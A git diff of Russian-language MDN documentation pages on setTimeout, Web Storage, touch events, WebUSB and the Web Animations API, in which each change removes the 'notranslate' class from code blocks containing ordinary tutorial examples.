a/files/ru/web/api/settimeout/index.html b/files/ru/web/api/settimeout/index.html index 5c4cb67a3b..6e38955b9f 100644 --- a/files/ru/web/api/settimeout/index.html +++ b/files/ru/web/api/settimeout/index.html @@ -12,7 +12,7 @@ original_slug: Web/API/WindowOrWorkerGlobalScope/setTimeout <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>var timeoutID</em> = window.setTimeout(<em>func</em>, [, <em>delay</em>, <em>param1</em>, <em>param2</em>, ...]); +<pre class="syntaxbox"><em>var timeoutID</em> = window.setTimeout(<em>func</em>, [, <em>delay</em>, <em>param1</em>, <em>param2</em>, ...]); <em>var timeoutID</em> = window.setTimeout(<em>code </em>[, <em>delay]</em>); </pre> @@ -35,7 +35,7 @@ original_slug: Web/API/WindowOrWorkerGlobalScope/setTimeout <h3 id="HTML_Content">HTML Content</h3> -<pre class="brush: html notranslate"><p>Live Example</p> +<pre class="brush: html"><p>Live Example</p> <button onclick="delayedAlert();">Show an alert box after two seconds</button> <p></p> <button onclick="clearAlert();">Cancel alert before it happens</button> @@ -43,7 +43,7 @@ original_slug: Web/API/WindowOrWorkerGlobalScope/setTimeout <h3 id="JavaScript_Content">JavaScript Content</h3> -<pre class="brush: js notranslate">var timeoutID; +<pre class="brush: js">var timeoutID; function delayedAlert() { timeoutID = window.setTimeout(slowAlert, 2000); @@ -66,7 +66,7 @@ function clearAlert() { <p>Если вам нужно передать аргумент в вашу callback функцию, но нужно, чтобы это работало в Internet Explorer 9 и ниже, который не поддерживает передачу дополнительных параметров (ни с <code>setTimeout()</code> или <code>setInterval()</code>), то вы можете прописать специальный код для <em>совместимости с IE, </em><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>вставив этот код в начало ваших скриптов</span></span></span>, <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>который включит функцию передачи стандартных параметров HTML5 в </span></span></span>Internet Explorer<span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span> для обоих таймеров</span></span></span>.</p> -<pre class="brush: js notranslate">/*\ +<pre class="brush: js">/*\ |*| |*| IE-specific polyfill which enables the passage of arbitrary arguments to the |*| callback functions of JavaScript timers (HTML5 standard syntax). @@ -108,7 +108,7 @@ if (document.all && !window.setInterval.isPolyfill) { <p>If you want a completely unobtrusive hack for every other mobile or desktop browser, including IE 9 and below, you can either use JavaScript conditional comments:</p> -<pre class="brush: js notranslate">/*@cc_on +<pre class="brush: js">/*@cc_on // conditional IE < 9 only fix @if (@_jscript_version <= 6) (function(f){ @@ -121,7 +121,7 @@ if (document.all && !window.setInterval.isPolyfill) { <p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Или используйте очень чистый подход, основанный на условном свойстве IE HTML</span></span></span>:</p> -<pre class="brush: html notranslate"><!--[if lte IE 9]><script> +<pre class="brush: html"><!--[if lte IE 9]><script> (function(f){ window.setTimeout =f(window.setTimeout); window.setInterval =f(window.setInterval); @@ -133,12 +133,12 @@ var a=[].slice.call(arguments,2);return f(function(){c.apply(this,a)},t)} <p>Another possibility is to use an anonymous function to call your callback, but this solution is a bit more expensive. Example:</p> -<pre class="brush: js notranslate">var intervalID = setTimeout(function() { myFunc("one", "two", "three"); }, 1000); +<pre class="brush: js">var intervalID = setTimeout(function() { myFunc("one", "two", "three"); }, 1000); </pre> <p>Yet another possibility is to use <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Function/bind" title="/en-US/docs/JavaScript/Reference/Global_Objects/Function/bind">function's bind</a>. Example:</p> -<pre class="brush: js notranslate">setTimeout(function(arg1){}.bind(undefined, 10)); +<pre class="brush: js">setTimeout(function(arg1){}.bind(undefined, 10)); </pre> <h2 id="Проблема_с_this">Проблема с "<code>this</code>"</h2> @@ -149,7 +149,7 @@ var a=[].slice.call(arguments,2);return f(function(){c.apply(this,a)},t)} <p>Code executed by <code>setTimeout()</code> is run in a separate execution context to the function from which it was called. As a consequence, the <code>this</code> keyword for the called function will be set to the <code>window</code> (or <code>global</code>) object; it will not be the same as the <code>this</code> value for the function that called <code>setTimeout</code>. See the following example:</p> -<pre class="brush: js notranslate">myArray = ["zero", "one", "two"]; +<pre class="brush: js">myArray = ["zero", "one", "two"]; myArray.myMethod = function (sProperty) { alert(arguments.length > 0 ? this[sProperty] : this); }; @@ -168,7 +168,7 @@ setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error</pre> <p>A possible way to solve the "<code>this</code>" problem is to replace the two native <code>setTimeout()</code> or <code>setInterval()</code> global functions with two <em>non-native</em> ones which will enable their invocation through the <a href="en-US/docs/JavaScript/Reference/Global_Objects/Function/call" title="en-US/docs/JavaScript/Reference/Global_Objects/Function/call"><code>Function.prototype.call</code></a> method. The following example shows a possible replacement:</p> -<pre class="brush: js notranslate">// Enable the passage of the 'this' object through the JavaScript timers +<pre class="brush: js">// Enable the passage of the 'this' object through the JavaScript timers var __nativeST__ = window.setTimeout, __nativeSI__ = window.setInterval; @@ -190,7 +190,7 @@ window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentTo <p>Новая тестируемая особенность:</p> -<pre class="brush: js notranslate">myArray = ["zero", "one", "two"]; +<pre class="brush: js">myArray = ["zero", "one", "two"]; myArray.myMethod = function (sProperty) { alert(arguments.length > 0 ? this[sProperty] : this); }; @@ -214,7 +214,7 @@ setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2.5 s <p>Передача строки вместо функции в <code>setTimeout()</code> сопряжена с теми же опасностями, что и использование <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/eval#Don.27t_use_eval.21" title="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/eval">eval</a>. </code></p> -<pre class="brush: js notranslate">// Правильно +<pre class="brush: js">// Правильно window.setTimeout(function() { alert("Hello World!"); }, 500); diff --git a/files/ru/web/api/storage/index.html b/files/ru/web/api/storage/index.html index f6e0d3b1e4..a328426988 100644 --- a/files/ru/web/api/storage/index.html +++ b/files/ru/web/api/storage/index.html @@ -46,7 +46,7 @@ translation_of: Web/API/Storage <p>В данном примере мы получаем доступ к объекту Storage вызывая localStorage. Для начала мы проверяем содержит ли local storage элементы данных используя <code>!localStorage.getItem('bgcolor')</code>. Если да, мы вызываем функцию <code>setStyles()</code> которая получает элементы данных используя {{domxref("localStorage.getItem()")}} и использует их значения для обновления стилей на странице. Если нет, мы вызывает другую функцию, <code>populateStorage()</code>, которая использует {{domxref("localStorage.setItem()")}} что бы установить значения для элементов, потом вызываем <code>setStyles()</code>.</p> -<pre class="brush: js notranslate">if(!localStorage.getItem('bgcolor')) { +<pre class="brush: js">if(!localStorage.getItem('bgcolor')) { populateStorage(); } else { setStyles(); diff --git a/files/ru/web/api/storage/removeitem/index.html b/files/ru/web/api/storage/removeitem/index.html index e0767fa6a8..9984a1316a 100644 --- a/files/ru/web/api/storage/removeitem/index.html +++ b/files/ru/web/api/storage/removeitem/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/Storage/removeItem <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>storage</em>.removeItem(<em>keyName</em>);</pre> +<pre class="syntaxbox"><em>storage</em>.removeItem(<em>keyName</em>);</pre> <h3 id="Параметры">Параметры</h3> @@ -30,7 +30,7 @@ translation_of: Web/API/Storage/removeItem <p>Следующая функция создаёт три элемента внутри локального хранилища и потом удаляет элемент с ключом <em>image</em>.</p> -<pre class="brush: js notranslate">function populateStorage() { +<pre class="brush: js">function populateStorage() { localStorage.setItem('bgcolor', 'red'); localStorage.setItem('font', 'Helvetica'); localStorage.setItem('image', 'myCat.png'); diff --git a/files/ru/web/api/storage_access_api/index.html b/files/ru/web/api/storage_access_api/index.html index b94cbbaff4..df6bbfbdb1 100644 --- a/files/ru/web/api/storage_access_api/index.html +++ b/files/ru/web/api/storage_access_api/index.html @@ -24,7 +24,7 @@ translation_of: Web/API/Storage_Access_API <p>In addition, sandboxed {{htmlelement("iframe")}}s cannot be granted storage access by default for security reasons. The API therefore also adds the <code>allow-storage-access-by-user-activation</code> <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#attr-sandbox">sandbox token</a>. The embedding website needs to add this to allow storage access requests to be successful, along with <code>allow-scripts</code> and <code>allow-same-origin</code> to allow it to call the API, and execute in an origin that can have cookies:</p> -<pre class="brush: html notranslate"><iframe sandbox="allow-storage-access-by-user-activation +<pre class="brush: html"><iframe sandbox="allow-storage-access-by-user-activation allow-scripts allow-same-origin"> ... diff --git a/files/ru/web/api/touch_events/index.html b/files/ru/web/api/touch_events/index.html index aaede09e9d..8f54941279 100644 --- a/files/ru/web/api/touch_events/index.html +++ b/files/ru/web/api/touch_events/index.html @@ -42,7 +42,7 @@ translation_of: Web/API/Touch_events <h3 id="Создание_canvas">Создание canvas</h3> -<pre class="brush: html notranslate"><canvas id="canvas" width="600" height="600" style="border:solid black 1px;"> +<pre class="brush: html"><canvas id="canvas" width="600" height="600" style="border:solid black 1px;"> Ваш браузер не поддерживает элемент canvas. </canvas> <br> @@ -52,7 +52,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> <p>После загрузки страницы будет вызвана функция <code>startup()</code>, показанная ниже</p> -<pre class="brush: js notranslate">function startup() { +<pre class="brush: js">function startup() { var el = document.getElementById("canvas"); el.addEventListener("touchstart", handleStart, false); el.addEventListener("touchend", handleEnd, false); @@ -68,12 +68,12 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> <p>Рассмотрим касания в действии.</p> -<pre class="brush: js notranslate">var ongoingTouches = []; +<pre class="brush: js">var ongoingTouches = []; </pre> <p>Когда возникает событие {{event("touchstart")}}, свидетельствующее о новом касании к поверхности, вызывается приведённая ниже функция <code>handleStart()</code>.</p> -<pre class="brush: js notranslate">function handleStart(evt) { +<pre class="brush: js">function handleStart(evt) { evt.preventDefault(); console.log("touchstart."); var el = document.getElementById("canvas"); @@ -101,7 +101,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> <p>Каждый раз, когда двигается один или несколько пальцев, срабатывает событие {{event("touchmove")}}, в результате чего вызывается наша функция <code>handleMove()</code>.В этом примере данная функция ответственна за обновление данных о касании и рисование линии от предыдущей до текущей точки касания.</p> -<pre class="brush: js notranslate">function handleMove(evt) { +<pre class="brush: js">function handleMove(evt) { evt.preventDefault(); var el = document.getElementById("canvas"); var ctx = el.getContext("2d"); @@ -141,7 +141,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> <p>Когда пользователь убирает палец с сенсорной поверхности, срабатывает событие {{domxref("Element/touchend_event", "touchend")}}. Мы обрабатываем его, вызывая функцию <code>handleEnd()</code>, которая представлена ниже. Её задача - рисовать последний отрезок линии для каждого касания, которое завершилось, и удалять точку касания из текущего списка касаний.</p> -<pre class="brush: js notranslate">function handleEnd(evt) { +<pre class="brush: js">function handleEnd(evt) { evt.preventDefault(); log("touchend"); var el = document.getElementById("canvas"); @@ -173,7 +173,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> <p>Если палец пользователя перемещается в интерфейс браузера или прикосновение должно быть отменено, отправляется событие {{domxref("Element/touchcancel_event", "touchcancel")}}, и мы вызываем функцию <code>handleCancel()</code>, приведённую ниже.</p> -<pre class="brush: js notranslate">function handleCancel(evt) { +<pre class="brush: js">function handleCancel(evt) { evt.preventDefault(); console.log("touchcancel."); var touches = evt.changedTouches; @@ -195,7 +195,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> <p>Чтобы рисунок каждого касания выглядел по-разному, используется функция <code>colorForTouch()</code>, в которой цвета выбираются на основе уникального идентификатора касаний. Этот идентификатор является скрытым числом, но мы, по крайней мере, можем полагаться на то, что у каждого активного на данный момент касания он уникальный.</p> -<pre class="brush: js notranslate">function colorForTouch(touch) { +<pre class="brush: js">function colorForTouch(touch) { var r = touch.identifier % 16; var g = Math.floor(touch.identifier / 3) % 16; var b = Math.floor(touch.identifier / 7) % 16; @@ -214,7 +214,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> <p>Некоторые браузеры (например, мобильный Safari) повторно используют объекты касания в разных событиях, поэтому лучше копировать только важные свойства, а не ссылаться на весь объект.</p> -<pre class="brush: js notranslate">function copyTouch({ identifier, pageX, pageY }) { +<pre class="brush: js">function copyTouch({ identifier, pageX, pageY }) { return { identifier, pageX, pageY }; }</pre> @@ -222,7 +222,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> <p>Приведённая ниже функция <code>ongoingTouchIndexById()</code> сканирует весь массив <code>ongoingTouches</code>, чтобы найти касание, соответствующее данному идентификатору, после чего возвращает в массив индекс этого касания.</p> -<pre class="brush: js notranslate">function ongoingTouchIndexById(idToFind) { +<pre class="brush: js">function ongoingTouchIndexById(idToFind) { for (var i = 0; i < ongoingTouches.length; i++) { var id = ongoingTouches[i].identifier; @@ -236,7 +236,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> <h4 id="Отображение_происходящего">Отображение происходящего</h4> -<pre class="brush: js notranslate">function log(msg) { +<pre class="brush: js">function log(msg) { var p = document.getElementById('log'); p.innerHTML = msg + "\n" + p.innerHTML; }</pre> @@ -255,7 +255,7 @@ Log: <pre id="log" style="border: 1px solid #ccc;"></pre></pre> <p>Данный пример очень упрощён и может привести к странному поведению. Он уместен исключительно как учебный пример.</p> -<pre class="brush: js notranslate">function onTouch(evt) { +<pre class="brush: js">function onTouch(evt) { evt.preventDefault(); if (evt.touches.length > 1 || (evt.type == "touchend" && evt.touches.length > 0)) return; diff --git a/files/ru/web/api/touch_events/supporting_both_touchevent_and_mouseevent/index.html b/files/ru/web/api/touch_events/supporting_both_touchevent_and_mouseevent/index.html index 06015736a0..d9f05fdec0 100644 --- a/files/ru/web/api/touch_events/supporting_both_touchevent_and_mouseevent/index.html +++ b/files/ru/web/api/touch_events/supporting_both_touchevent_and_mouseevent/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/Touch_events/Supporting_both_TouchEvent_and_MouseEvent <p>Ниже представлен пример обработчика события {{event("touchmove")}}, вызывающий <code>preventDefault()</code></p> -<pre class="brush: js notranslate">// touchmove handler +<pre class="brush: js">// touchmove handler function process_touchmove(ev) { // Call preventDefault() to prevent any further handling ev.preventDefault(); diff --git a/files/ru/web/api/touch_events/using_touch_events/index.html b/files/ru/web/api/touch_events/using_touch_events/index.html index 45c1cd6245..cfc029b48c 100644 --- a/files/ru/web/api/touch_events/using_touch_events/index.html +++ b/files/ru/web/api/touch_events/using_touch_events/index.html @@ -54,7 +54,7 @@ translation_of: Web/API/Touch_events/Using_Touch_Events <p>Назначьте обработчик событий для каждого типа события касания.</p> -<pre class="brush: js notranslate">// Назначение обработчика событий касания +<pre class="brush: js">// Назначение обработчика событий касания someElement.addEventListener('touchstart', process_touchstart, false); someElement.addEventListener('touchmove', process_touchmove, false); someElement.addEventListener('touchcancel', process_touchcancel, false); @@ -63,7 +63,7 @@ someElement.addEventListener('touchend', process_touchend, false); <p>Обработчик события, реализующий семантику жестов приложения</p> -<pre class="notranslate">// Обработчик touchstart +<pre>// Обработчик touchstart function process_touchstart(ev) { // Используется данные события, чтобы вызвать соответствующие обработчики жестов switch (ev.touches.length) { @@ -77,7 +77,7 @@ function process_touchstart(ev) { <p>Доступ к атрибутам точки касания.</p> -<pre class="brush: js notranslate">// Создание обработчика события "touchstart" +<pre class="brush: js">// Создание обработчика события "touchstart" someElement.addEventListener('touchstart', function(ev) { // Перебор точек события, которые были активированы // для этого элемента и обработка каждого целевого элемента события @@ -89,7 +89,7 @@ someElement.addEventListener('touchstart', function(ev) { <p>Предотвращение эмуляции событий мыши</p> -<pre class="brush: js notranslate">// Обработчик события "touchmove" +<pre class="brush: js">// Обработчик события "touchmove" function process_touchmove(ev) { // Вызов "preventDefault()" ev.preventDefault(); diff --git a/files/ru/web/api/touchevent/touches/index.html b/files/ru/web/api/touchevent/touches/index.html index e377e1b8a3..8d76645501 100644 --- a/files/ru/web/api/touchevent/touches/index.html +++ b/files/ru/web/api/touchevent/touches/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/TouchEvent/touches <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">var <em>touches</em> = <em>touchEvent</em>.touches; +<pre class="syntaxbox">var <em>touches</em> = <em>touchEvent</em>.touches; </pre> <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> @@ -27,7 +27,7 @@ translation_of: Web/API/TouchEvent/touches <p>В следующем фрагменте кода обработчик события {{event("touchstart")}} проверяет длину списка {{domxref("TouchEvent.touches")}} для определения количества точек касаний, которые были активированы, а затем вызывает разные обработчики в зависимости от количества таких точек.</p> -<pre class="brush: js notranslate">someElement.addEventListener('touchstart', function(e) { +<pre class="brush: js">someElement.addEventListener('touchstart', function(e) { // Вызов определённого обработчика, в зависимости от // количества точек касания switch (e.touches.length) { diff --git a/files/ru/web/api/usb/getdevices/index.html b/files/ru/web/api/usb/getdevices/index.html index 8b69fce817..a0a61f2a3a 100644 --- a/files/ru/web/api/usb/getdevices/index.html +++ b/files/ru/web/api/usb/getdevices/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/USB/getDevices <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>USB</em>.getDevices()</pre> +<pre class="syntaxbox"><em>USB</em>.getDevices()</pre> <h3 id="Параметры">Параметры</h3> @@ -31,7 +31,7 @@ translation_of: Web/API/USB/getDevices <p>В следующем примере имена продуктов и серийные номера сопряжённых устройств выводятся в консоль. Для информации о сопряжённых устройствах, смотрите {{DOMxRef("USB.requestDevice","USB.requestDevice()")}}.</p> -<pre class="brush: js notranslate">navigator.usb.getDevices() +<pre class="brush: js">navigator.usb.getDevices() .then(devices => { console.log("Total devices: " + devices.length); devices.forEach(device => { diff --git a/files/ru/web/api/usb/onconnect/index.html b/files/ru/web/api/usb/onconnect/index.html index e0a26c8bac..abe16f16c4 100644 --- a/files/ru/web/api/usb/onconnect/index.html +++ b/files/ru/web/api/usb/onconnect/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/USB/onconnect <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>USB</em>.onconnect = <em>connectFunction</em></pre> +<pre class="syntaxbox"><em>USB</em>.onconnect = <em>connectFunction</em></pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/usb/ondisconnect/index.html b/files/ru/web/api/usb/ondisconnect/index.html index 742d276e88..ce89669aba 100644 --- a/files/ru/web/api/usb/ondisconnect/index.html +++ b/files/ru/web/api/usb/ondisconnect/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/USB/ondisconnect <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">USB.ondisconnect = <em>disconnectFunction</em></pre> +<pre class="syntaxbox">USB.ondisconnect = <em>disconnectFunction</em></pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/usb/requestdevice/index.html b/files/ru/web/api/usb/requestdevice/index.html index 0d3a34f697..fc8257f9f8 100644 --- a/files/ru/web/api/usb/requestdevice/index.html +++ b/files/ru/web/api/usb/requestdevice/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/USB/requestDevice <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>USB</em>.requestDevice([<em>filters</em>])</pre> +<pre class="syntaxbox"><em>USB</em>.requestDevice([<em>filters</em>])</pre> <h3 id="Параметры">Параметры</h3> @@ -45,7 +45,7 @@ translation_of: Web/API/USB/requestDevice <p>Количество фильтров не определяет количество устройств, показываемых браузером. Например, если найдено только USB-устройство с product ID <code>0xa800</code>, браузер отобразит только одно устройство. Но, если браузер определит два устройства, совпадающих с первым фильтром, и ещё одно, совпадающее со вторым, будут показаны все три устройства.</p> -<pre class="brush: js notranslate">const filters = [ +<pre class="brush: js">const filters = [ {vendorId: 0x1209, productId: 0xa800}, {vendorId: 0x1209, productId: 0xa850} ]; diff --git a/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html b/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html index 9e3a8044d1..b62150df16 100644 --- a/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html +++ b/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html @@ -32,7 +32,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <p>Заметьте, что фон двигается, Алиса крутится и её цвет меняется при вращении. Мы собираемся сосредоточиться только на Алисе в этом уроке. Вот упрощённый код CSS, который управляет движением Алисы.</p> -<pre class="brush: css notranslate">#alice { +<pre class="brush: css">#alice { animation: aliceTumbling infinite 3s linear; } @@ -60,7 +60,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <p>В первую очередь мы должны создать <a href="/en-US/docs/Web/API/Web_Animations_API/Keyframe_Formats">Keyframe Object</a> соответствующего нашему CSS <a href="/en-US/docs/Web/CSS/@keyframes">@keyframes</a> блоку:</p> -<pre class="brush: js notranslate">var aliceTumbling = [ +<pre class="brush: js">var aliceTumbling = [ { transform: 'rotate(0) translate3D(-50%, -50%, 0)', color: '#000' }, { color: '#431236', offset: 0.333}, { transform: 'rotate(360deg) translate3D(-50%, -50%, 0)', color: '#000' } @@ -78,7 +78,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <p>Мы также должны создать объекту временные свойства (an {{domxref("AnimationEffectTimingProperties")}} object) соответствующие значению анимации Алисы:</p> -<pre class="brush: js notranslate">var aliceTiming = { +<pre class="brush: js">var aliceTiming = { duration: 3000, iterations: Infinity }</pre> @@ -98,7 +98,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <p>Сейчас соберём все части вместе используя {{domxref("Element.animate()")}} метод:</p> -<pre class="brush: js notranslate">document.getElementById("alice").animate( +<pre class="brush: js">document.getElementById("alice").animate( aliceTumbling, aliceTiming )</pre> @@ -107,7 +107,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <p>The <code>animate()</code> метод может быть применён на любой DOM-элемент, который может быть анимирован с помощью CSS. И он может быть записан несколькими способами. Вместо того, чтобы делить объекты на ключевые кадры и временные характеристики, мы могли бы просто передать свои значения непосредственно вот так:</p> -<pre class="brush: js notranslate">document.getElementById("alice").animate( +<pre class="brush: js">document.getElementById("alice").animate( [ { transform: 'rotate(0) translate3D(-50%, -50%, 0)', color: '#000' }, { color: '#431236', offset: 0.333}, @@ -120,7 +120,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <p>Более того, если мы хотели указать только длительность анимации, а не её повторение (по умолчанию анимации повторяется один раз), мы могли бы пройтись только по миллисекундам:</p> -<pre class="brush: js notranslate">document.getElementById("alice").animate( +<pre class="brush: js">document.getElementById("alice").animate( [ { transform: 'rotate(0) translate3D(-50%, -50%, 0)', color: '#000' }, { color: '#431236', offset: 0.333}, @@ -139,7 +139,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <p>Мы поговорим об анимации Алисы позже, а сейчас посмотрим поближе на анимации кекса:</p> -<pre class="brush: js notranslate">var nommingCake = document.getElementById('eat-me_sprite').animate( +<pre class="brush: js">var nommingCake = document.getElementById('eat-me_sprite').animate( [ { transform: 'translateY(0)' }, { transform: 'translateY(-80%)' } @@ -151,15 +151,15 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <p>Метод {{domxref("Element.animate()")}} будет выполняться сразу же как начнётся игра. Чтобы предотвратить автоматическое поедание кекса до того, как пользователь на него нажмёт, мы вызываем {{domxref("Animation.pause()")}} сразу же как игра открывается, например так:</p> -<pre class="brush: js notranslate">nommingCake.pause();</pre> +<pre class="brush: js">nommingCake.pause();</pre> <p>Теперь мы можем запустить метод {{domxref("Animation.play()")}} когда будем готовы:</p> -<pre class="brush: js notranslate">nommingCake.play();</pre> +<pre class="brush: js">nommingCake.play();</pre> <p>Нам необходимо связать его с анимацией Алисы, чтобы она росла всякий раз, когда съедала кекс. Мы можем сделать это с помощью функции:</p> -<pre class="brush: js notranslate">var growAlice = function() { +<pre class="brush: js">var growAlice = function() { // Play Alice's animation. aliceChange.play(); @@ -171,7 +171,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API <p>Когда пользователь поместит указатель мыши вниз или нажимает пальцем на торт на сенсорном экране, мы можем вызвать growAlice, чтобы выполнить все анимации:</p> -<pre class="brush: js notranslate">cake.addEventListener("mousedown", growAlice, false); +<pre class="brush: js">cake.addEventListener("mousedown", growAlice, false); cake.addEventListener("touchstart", growAlice, false);</pre> <h3 id="Другие_полезные_методы.">Другие полезные методы.</h3> @@ -186,7 +186,7 @@ cake.addEventListener("touchstart", growAlice, false);</pre> <p>Давайте посмотрим на первый playbackRate— отрицательное значение будет запускать анимацию в обратном направлении. Когда Алиса пьёт из бутылки, она становится меньше. Это происходит потому, что бутылка изменяет её анимацию playbackRate от 1 до -1:</p> -<pre class="brush: js notranslate">var shrinkAlice = function() { +<pre class="brush: js">var shrinkAlice = function() { aliceChange.playbackRate = -1; aliceChange.play(); } @@ -200,7 +200,7 @@ bottle.addEventListener("touchstart", shrinkAlice, false);</pre> <p>Так как маленькие дети легко устают, в отличии от шахматных фигур, Алиса постоянно замедляется. Мы отобразили это в коде путём ослабления (уменьшения скорости) playbackRate анимации.</p> -<pre class="brush: js notranslate">setInterval( function() { +<pre class="brush: js">setInterval( function() { // Make sure the playback rate never falls below .4 if (redQueen_alice.playbackRate > .4) { @@ -211,7 +211,7 @@ bottle.addEventListener("touchstart", shrinkAlice, false);</pre> <p>Но постоянно нажимая на них мышью, мы заставляем их ускориться путём умножения playbackRate (скорости анимации)</p> -<pre class="brush: js notranslate">var goFaster = function() { +<pre class="brush: js">var goFaster = function() { redQueen_alice.playbackRate *= 1.1; @@ -226,7 +226,7 @@ document.addEventListener("touchstart", goFaster);</pre> <p>Представьте, что мы могли бы использовать playbackRate, как улучшения доступности сайта для пользователей с вестибулярными расстройствами, позволяя им замедлить анимацию на всех страницах сайта. Это невозможно сделать с помощью CSS без пересчёта длительности в каждом правиле CSS, но с веб-анимации API, мы могли бы использовать в будущем (пока не поддерживается в браузерах!) Метод {{domxref("document.getAnimations()")}} систему циклов по каждой анимации на странице и сократить скорость анимации вот так:</p> -<pre class="brush: js notranslate">document.getAnimations().forEach( +<pre class="brush: js">document.getAnimations().forEach( function (animation) { animation.playbackRate *= .5; } @@ -236,11 +236,11 @@ document.addEventListener("touchstart", goFaster);</pre> <p>Другое дело, что это трудно делать только с CSS Animations, создавать зависимости от значения предусмотренные для других анимации. В примере игры про рост и уменьшение Алисы, вы можете заметить некоторые странности у кекса:</p> -<pre class="brush: js notranslate">duration: aliceChange.effect.timing.duration / 2</pre> +<pre class="brush: js">duration: aliceChange.effect.timing.duration / 2</pre> <p>Чтобы понять, что здесь происходит, давайте посмотрим на анимацию Алисы:</p> -<pre class="brush: js notranslate">var aliceChange = document.getElementById('alice').animate( +<pre class="brush: js">var aliceChange = document.getElementById('alice').animate( [ { transform: 'translate(-50%, -50%) scale(.5)' }, { transform: 'translate(-50%, -50%) scale(2)' } @@ -252,21 +252,21 @@ document.addEventListener("touchstart", goFaster);</pre> <p>Изменение размера Алисы в два раза происходит за 8 секунд. Затем мы останавливаем её:</p> -<pre class="brush: js notranslate">aliceChange.pause();</pre> +<pre class="brush: js">aliceChange.pause();</pre> <p>Если бы оставили её на паузе в начале анимации , то Алиса увеличилась бы в два раза, когда выпила бы всю бутылку. Мы хотим остановить её анимацию "воспроизведение" в середине, когда она уже на половину выполнена. Мы могли бы это сделать, установив {{domxref("Animation.currentTime")}} 4 секунды, вот так:</p> -<pre class="brush: js notranslate">aliceChange.currentTime = 4000;</pre> +<pre class="brush: js">aliceChange.currentTime = 4000;</pre> <p>Но во время работы над этой анимацией мы можем сильно увеличить её продолжительность. Разве не лучше установить динамическое изменение времени (currentTime), тогда нам не придётся делать два обновления за один раз. Мы можем это сделать с помощью ссылки на изменение свойства размера Алисы (aliceChange) {{domxref("Animation.effect")}} который возвращает все детали и действующие эффекты, содержащиеся в объекте, на Алису:</p> -<pre class="brush: js notranslate">aliceChange.currentTime = aliceChange.effect.timing.duration / 2;</pre> +<pre class="brush: js">aliceChange.currentTime = aliceChange.effect.timing.duration / 2;</pre> <p>эффекты позволяют нам получить доступ к анимации keyframe (кадров) и синхронности объектов - aliceChange.effect.timing , указывающий на время Алисиных элементов (которые имеют тип {{domxref("AnimationEffectTimingReadOnly")}}) — в этом содержится её {{domxref("AnimationEffectTimingReadOnly.duration")}}. Мы можем распределить её длительность на два раза, чтобы получить среднюю точку во временной шкале для установки нормального роста.</p> <p>Теперь мы можем запустить её в обратном порядке и играться анимацией в любом направлении, чтобы заставить её расти или уменьшаться</p> -<pre class="brush: js notranslate">var drinking = document.getElementById('liquid').animate( +<pre class="brush: js">var drinking = document.getElementById('liquid').animate( [ { height: '100%' }, { height: '0' } @@ -282,7 +282,7 @@ drinking.pause();</pre> <p>Мы также можем использовать веб-анимации API, чтобы выяснить Текущее время анимации. Игра заканчивается, когда вы бежите от съеденного торта или выпитой бутылки. Изображение у игрока будет зависеть от анимации Алисы. Стала ли она слишком большой на фоне крошечной двери и не может в неё пройти или слишком маленькой и не может достать ключ, чтобы открыть дверь. Мы можем выяснить, стала она большой или маленький в конце её анимация, получая текущее время её анимации <code><a href="/en-US/docs/Web/API/Animation/currentTime">currentTime</a></code> и разделив её на activeDuration:</p> -<pre class="brush: js notranslate">var endGame = function() { +<pre class="brush: js">var endGame = function() { // get Alice's timeline's playhead location var alicePlayhead = 